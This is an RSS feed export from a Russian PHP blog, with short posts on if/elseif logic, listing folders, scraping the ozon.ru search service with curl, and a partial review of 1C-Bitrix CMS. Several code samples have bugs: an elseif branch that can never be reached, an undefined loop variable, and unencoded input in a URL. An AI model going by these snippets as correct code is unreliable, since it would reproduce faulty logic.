<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>phpMind.ru - Мои мысли про PHP</title>
	<atom:link href="http://phpmind.ru/feed/" rel="self" type="application/rss+xml" />
	<link>http://phpmind.ru</link>
	<description>Блог PHP программиста</description>
	<lastBuildDate>Mon, 08 Mar 2010 19:56:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Работа с if и elseif (php if elseif)</title>
		<link>http://phpmind.ru/php-scripts/%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0-%d1%81-if-%d0%b8-elseif-php-if-elseif/</link>
		<comments>http://phpmind.ru/php-scripts/%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0-%d1%81-if-%d0%b8-elseif-php-if-elseif/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 13:38:41 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[PHP Скрипты]]></category>
		<category><![CDATA[elseif]]></category>
		<category><![CDATA[if]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php script]]></category>
		<category><![CDATA[пхп]]></category>
		<category><![CDATA[пхп скрипты]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=157</guid>
		<description><![CDATA[Сейчас я покажу зачем необходима ввся эта конструкция с elseif, казалось бы без нее можно сделать простыми if else, но не тут то было.
Покажу на примере одного скрипта, который понадобился одному человеку.
в файле есть n-ое кол-во строк, оно может быть разным но не меньше 1ой
нужно вывести последние 5 строк если их больше => 6
если строк [...]]]></description>
			<content:encoded><![CDATA[<p>Сейчас я покажу зачем необходима ввся эта конструкция с elseif, казалось бы без нее можно сделать простыми if else, но не тут то было.</p>
<p>Покажу на примере одного скрипта, который понадобился одному человеку.</p>
<blockquote><p>в файле есть n-ое кол-во строк, оно может быть разным но не меньше 1ой<br />
нужно вывести последние 5 строк если их больше => 6<br />
если строк меньше шести то вывести все кроме первой.<br />
если строка одна то вывести: &#8220;Ссылок нету!&#8221;</p></blockquote>
<p><span id="more-157"></span></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <br />
<span style="color: #000088;">$filename</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'название файла'</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$all</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/file"><span style="color: #990000;">file</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$strings</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/sizeof"><span style="color: #990000;">sizeof</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/file"><span style="color: #990000;">file</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$strings</span> <span style="color: #339933;">&gt;=</span> <span style="color: #0000ff;">'6'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp;<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">--</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$all</span><span style="color: #009900;">&#91;</span><a href="http://www.php.net/sizeof"><span style="color: #990000;">sizeof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$all</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;br&gt;'</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$strings</span><span style="color: #339933;">&lt;</span><span style="color: #0000ff;">'6'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp;<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><a href="http://www.php.net/sizeof"><span style="color: #990000;">sizeof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$all</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">--</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$all</span><span style="color: #009900;">&#91;</span><a href="http://www.php.net/sizeof"><span style="color: #990000;">sizeof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$all</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;br&gt;'</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$strings</span> <span style="color: #339933;">&lt;=</span> <span style="color: #0000ff;">'1'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp;<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Cсылок нету!'</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">endif</span><span style="color: #339933;">;</span> <br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/php-scripts/%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0-%d1%81-if-%d0%b8-elseif-php-if-elseif/","Работа с if и elseif (php if elseif)")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/php-scripts/%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0-%d1%81-if-%d0%b8-elseif-php-if-elseif/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Работа с папками (php folders)</title>
		<link>http://phpmind.ru/php-scripts/%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0-%d1%81-%d0%bf%d0%b0%d0%bf%d0%ba%d0%b0%d0%bc%d0%b8-php-folders/</link>
		<comments>http://phpmind.ru/php-scripts/%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0-%d1%81-%d0%bf%d0%b0%d0%bf%d0%ba%d0%b0%d0%bc%d0%b8-php-folders/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 13:30:58 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[PHP Скрипты]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php folders]]></category>
		<category><![CDATA[пхп]]></category>
		<category><![CDATA[пхп скрипты]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=155</guid>
		<description><![CDATA[Поступила еще одна просьба от знакомого, а именно:
 допустим в корневой папке лежит скрипт и ещё одна папка в которой n-ое кол-во папок нужно что бы скрипт написал какие там папки т.е. их названия. 
Вот решение:
&#60;? 
$dir = &#34;/НАЗВАНИЕ ПАПКИ&#34;; 
$folders = scandir&#40;$dir&#41;; 

for&#40;$i = 2; $i != sizeof&#40;$folders&#41;; $i++&#41;&#123; 
echo $folders&#91;$a&#93;.&#34;&#60;br&#62;&#34;; 
&#125; 
?&#62;
Может кому-то [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Поступила</strong> еще одна просьба от знакомого, а именно:</p>
<blockquote><p> допустим в корневой папке лежит скрипт и ещё одна папка в которой n-ое кол-во папок нужно что бы скрипт написал какие там папки т.е. их названия. </p></blockquote>
<p><strong>Вот решение:</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span> <br />
<span style="color: #000088;">$dir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;/НАЗВАНИЕ ПАПКИ&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$folders</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/scandir"><span style="color: #990000;">scandir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">!=</span> <a href="http://www.php.net/sizeof"><span style="color: #990000;">sizeof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$folders</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$folders</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$a</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Может кому-то пригодится.</p>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/php-scripts/%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0-%d1%81-%d0%bf%d0%b0%d0%bf%d0%ba%d0%b0%d0%bc%d0%b8-php-folders/","Работа с папками (php folders)")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/php-scripts/%d1%80%d0%b0%d0%b1%d0%be%d1%82%d0%b0-%d1%81-%d0%bf%d0%b0%d0%bf%d0%ba%d0%b0%d0%bc%d0%b8-php-folders/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Парсинг контента (php content parser)</title>
		<link>http://phpmind.ru/php-scripts/%d0%bf%d0%b0%d1%80%d1%81%d0%b8%d0%bd%d0%b3-%d0%ba%d0%be%d0%bd%d1%82%d0%b5%d0%bd%d1%82%d0%b0-php-content-parser/</link>
		<comments>http://phpmind.ru/php-scripts/%d0%bf%d0%b0%d1%80%d1%81%d0%b8%d0%bd%d0%b3-%d0%ba%d0%be%d0%bd%d1%82%d0%b5%d0%bd%d1%82%d0%b0-php-content-parser/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 13:27:53 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[PHP Скрипты]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php parser]]></category>
		<category><![CDATA[пхп]]></category>
		<category><![CDATA[пхп парсер]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=152</guid>
		<description><![CDATA[Постучал один мой знакомый и попросил меня сделать ему небольшой скрипт под его нужды, вот его задание:
Если не сложно очень нужно такой скрипт:
отправляется запрос на
http://www.ozon.ru/webservice/webservice.asmx/SearchWebService?searchText=FlatOUT&#38;searchContext=
и сохраняются в файл эти строки:
&#60;SearchItems diffgr:id=&#34;SearchItems1&#34; msdata:rowOrder=&#34;0&#34;&#62;&#60;ID&#62;2154287&#60;/ID&#62;&#60;Name&#62;FlatOut&#60;/Name&#62;
список запросов указывается в txt файле
если результатов поиска нет, как например
http://www.ozon.ru/webservice/webservice.asmx/SearchWebService?searchText=FlatOUTds&#38;searchContext=
, то в файл записывается- no
Заранее благодарен
Я как человек, любящий помогать, сразу же приступил [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Постучал</strong> один мой знакомый и попросил меня сделать ему небольшой скрипт под его нужды, вот его задание:</p>
<blockquote><p>Если не сложно очень нужно такой скрипт:<br />
отправляется запрос на</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.ozon.ru/webservice/webservice.asmx/SearchWebService?searchText=FlatOUT&amp;searchContext=</span></div></div>
<p>и сохраняются в файл эти строки:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>SearchItems diffgr<span style="color: #339933;">:</span>id<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;SearchItems1&quot;</span> msdata<span style="color: #339933;">:</span>rowOrder<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;0&quot;</span><span style="color: #339933;">&gt;&lt;</span>ID<span style="color: #339933;">&gt;</span><span style="color: #cc66cc;">2154287</span><span style="color: #339933;">&lt;/</span>ID<span style="color: #339933;">&gt;&lt;</span>Name<span style="color: #339933;">&gt;</span>FlatOut<span style="color: #339933;">&lt;/</span>Name<span style="color: #339933;">&gt;</span></div></div>
<p>список запросов указывается в txt файле<br />
если результатов поиска нет, как например</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.ozon.ru/webservice/webservice.asmx/SearchWebService?searchText=FlatOUTds&amp;searchContext=</span></div></div>
<p>, то в файл записывается- no</p>
<p>Заранее благодарен</p></blockquote>
<p>Я как человек, любящий помогать, сразу же приступил к написанию скрипта на PHP.</p>
<p><span id="more-152"></span></p>
<p>Скрипт написать оказалось не тяжело, поэтому всю работу я проделал буквально за 10 минут.<br />
Вот и сам скрипт:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span> <br />
<span style="color: #666666; font-style: italic;">//Capcha Project 2009 (c) </span><br />
<a href="http://www.php.net/set_time_limit"><span style="color: #990000;">set_time_limit</span></a><span style="color: #009900;">&#40;</span>0<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$source</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;source.txt&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;result.txt&quot;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #000088;">$strings</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/file"><span style="color: #990000;">file</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$source</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$strings</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/curl_init"><span style="color: #990000;">curl_init</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/curl_setopt"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_URL<span style="color: #339933;">,</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;http://www.ozon.ru/webservice/webservice.asmx/SearchWebService?searchText=&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$string</span> <span style="color: #339933;">.</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;&amp;searchContext=&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/curl_setopt"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_USERAGENT<span style="color: #339933;">,</span> <span style="color: #0000ff;">'Mozilla/5.0'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/curl_setopt"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span> 1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/curl_setopt"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_HEADER<span style="color: #339933;">,</span> 1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/curl_setopt"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLINFO_HEADER_OUT<span style="color: #339933;">,</span> 1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/curl_setopt"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_CONNECTTIMEOUT<span style="color: #339933;">,</span> 30<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$source</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/curl_exec"><span style="color: #990000;">curl_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<br />
&nbsp; &nbsp; <a href="http://www.php.net/preg_match"><span style="color: #990000;">preg_match</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#&lt;ID&gt;(.*)&lt;\/ID&gt;#&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$source</span><span style="color: #339933;">,</span> <span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match"><span style="color: #990000;">preg_match</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#&lt;Name&gt;(.*)&lt;\/Name&gt;#&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$source</span><span style="color: #339933;">,</span> <span style="color: #000088;">$name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match"><span style="color: #990000;">preg_match</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#&lt;Picture&gt;(.*)&lt;\/Picture&gt;#&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$source</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pic</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;a+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$id</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$name</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$pic</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;a+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;no<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Готово&quot;</span><span style="color: #339933;">;</span> <br />
<br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Создаем файл <strong>source.txt</strong> , в него пишем на каждой строчке запросы.<br />
Создаем файл <strong>result.txt</strong> c правами <strong>755</strong>, это файл с результатами.</p>
<p>Если есть вопросы по поводу скрипта, задавайте, отвечу на все ваши комментарии.</p>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/php-scripts/%d0%bf%d0%b0%d1%80%d1%81%d0%b8%d0%bd%d0%b3-%d0%ba%d0%be%d0%bd%d1%82%d0%b5%d0%bd%d1%82%d0%b0-php-content-parser/","Парсинг контента (php content parser)")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/php-scripts/%d0%bf%d0%b0%d1%80%d1%81%d0%b8%d0%bd%d0%b3-%d0%ba%d0%be%d0%bd%d1%82%d0%b5%d0%bd%d1%82%d0%b0-php-content-parser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Обзор 1C-Битрикс CMS</title>
		<link>http://phpmind.ru/about-cms/%d0%be%d0%b1%d0%b7%d0%be%d1%80-1c-%d0%b1%d0%b8%d1%82%d1%80%d0%b8%d0%ba%d1%81-cms/</link>
		<comments>http://phpmind.ru/about-cms/%d0%be%d0%b1%d0%b7%d0%be%d1%80-1c-%d0%b1%d0%b8%d1%82%d1%80%d0%b8%d0%ba%d1%81-cms/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 09:58:45 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[Про разные CMS]]></category>
		<category><![CDATA[bitrix]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[php cms]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=150</guid>
		<description><![CDATA[
CMS 1С-Битрикс
Система ориентирована на корпоративные сайты, информационные и справочные порталы, социальные сети, интернет-магазины, сайты СМИ, пригодна для создания других видов веб-ресурсов.
Для хранения данных сайта используется реляционная СУБД. Поддерживаются следующие СУБД: MySQL, Oracle, MS SQL. Продукт работает на Microsoft Windows и UNIX‐подобных платформах, включая GNU/Linux.

«1С-Битрикс: Управление сайтом» продаётся в одной из семи составленных фирмой-разработчиком редакций (Старт, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://upload.wikimedia.org/wikipedia/ru/4/43/1c-bitrix_logo.jpg" alt="1c-bitrix cms" /></p>
<p><strong>CMS 1С-Битрикс</strong><br />
Система ориентирована на <em>корпоративные сайты, информационные и справочные порталы, социальные сети, интернет-магазины, сайты СМИ, пригодна для создания других видов веб-ресурсов</em>.</p>
<p>Для хранения данных сайта используется реляционная <em>СУБД</em>. Поддерживаются следующие СУБД: <strong>MySQL, Oracle, MS SQL</strong>. Продукт работает на <em>Microsoft Windows</em> и <em>UNIX‐подобных платформах, включая GNU/Linux</em>.</p>
<p><span id="more-150"></span><br />
«<strong>1С-Битрикс</strong>: Управление сайтом» продаётся в одной из семи составленных фирмой-разработчиком редакций (<em>Старт, Стандарт, Эксперт, Малый бизнес, Бизнес, Портал, Большой бизнес</em>), определяющих набор модулей и функциональность системы. На сегодняшний день в системе доступны <em>26</em> модулей:</p>
<ul>
Главный модуль<br />
Управление структурой<br />
Информационные блоки<br />
Поиск<br />
Социальные сети<br />
Проактивная защита<br />
Компрессия<br />
Веб-формы<br />
Форумы<br />
Подписка<br />
Рассылки<br />
Опросы<br />
Блоги<br />
Фотогалерея 2.0<br />
Веб-аналитика<br />
Реклама<br />
Техподдержка<br />
Почта<br />
Обучение<br />
Тестирование<br />
Перевод<br />
Валюты<br />
Веб-сервисы<br />
Торговый каталог<br />
Интернет-магазин<br />
Документооборот<br />
AD/LDAP<br />
Монитор производительности</ul>
<p>Для корректной работы с системой управления пользователям без знания языков HTML и PHP требуется предварительная настройка системы (создание шаблона на базе графического дизайна, создание структуры разделов и страниц, а также подключение модулей системы). Данную возможность предоставляют партнёры компании «1С-Битрикс».</p>
<p>Идеология системы представляет собой разделение логики на модули и компоненты. Модули в «1С-Битрикс: Управление сайтом» — это набор программных компонентов, отвечающих за работу с различными типами баз данных, а также предоставляющих унифицированный API системы. Компоненты служат для связи конечного представления информации на сайте с программным ядром системы. Они используют API, созданный модулями, для организации выборки, модификации, управления информацией в базе данных.</p>
<p>Первая версия системы выпущена в 2001 году. На системе создано более 30000 сайтов. В России и СНГ сайты на «1С-Битрикс» разрабатывают более 2500 веб-студий.</p>
<p>На настоящий момент доступна версия <strong>8.5.1</strong>.</p>
<p><strong>Корпоративный портал 1С-Битрикс</strong><br />
«1С-Битрикс: Корпоративный портал» — программный продукт для создания внутрикорпоративного информационного ресурса.</p>
